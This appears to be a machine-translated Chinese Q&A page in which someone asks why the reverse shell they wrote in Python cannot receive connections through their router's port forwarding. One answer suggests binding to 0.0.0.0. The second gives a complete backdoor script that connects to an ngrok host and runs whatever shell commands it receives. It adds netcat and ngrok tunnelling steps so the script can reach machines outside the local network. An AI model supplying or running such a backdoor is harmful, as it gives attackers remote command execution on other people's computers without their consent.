反向外壳端口转发

时间:2018-06-27 15:05:03

标签: python-2.7 portforwarding reverse-shell

我用python创建了一个反向外壳,而我的路由器在端口转发中遇到了问题。

我没有任何静态IP。

在路由器中:

协议:TCP

Lochealipaddr:192.168.1.10

本地端口:8090

Wanipaddr:---

港口:8090

状态:启用

在我的python脚本中,我无法绑定到我的WAN IP地址上

ST.bind((Wanipaddr,8090))

如果我在localipaddr上绑定,我的反向Shell客户端将无法连接到服务器

我的问题解决方案是什么?

谢谢

2 个答案:

答案 0 :(得分:0)

听起来您的路由器已配置为将来自Internet的请求从端口8090转发到您的主机(假设您具有正确的LAN IP)。也许只是尝试绑定到0.0.0.0

wikipedia中,它适合以下上下文:

  

一种指定“根本没有IPv4地址”的方法。在配置服务器时(即绑定监听套接字时)以这种方式使用。

换句话说,您是在告诉服务器实质上是在每个可用的网络接口(在该端口上)上侦听。

答案 1 :(得分:0)

如果您想使用后门来接收局域网外部的连接,请使用ngrok

示例:

1-让我们在端口4444上侦听:

nc -lp 4444

2-在安装ngrok之后,您将运行以下命令:

ngrok tcp 444

3-现在找到ngrok地址

ngrok address

4-使用您的ngrok地址连接到客户端

# backdoor.py
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = '0.tcp.ngrok.io'
PORT = 12969
s.connect((HOST, PORT))
while True:
     conn = s.recv(2048).decode()
     if conn[:3] == 'cd ':
         os.chdir(conn[3:])
         cmd = ''
     else:
         proc = subprocess.Popen(conn, stdout=subprocess.PIPE,stderr=subprocess.PIPE, stdin=subprocess.DEVNULL, shell=True)
         stdout, stderr = proc.communicate()
         cmd = stdout+stderr
     cmd += str('\n'+os.getcwd()).encode()
     s.send(cmd)

5-现在您可以与网络外部的任何人建立联系

shell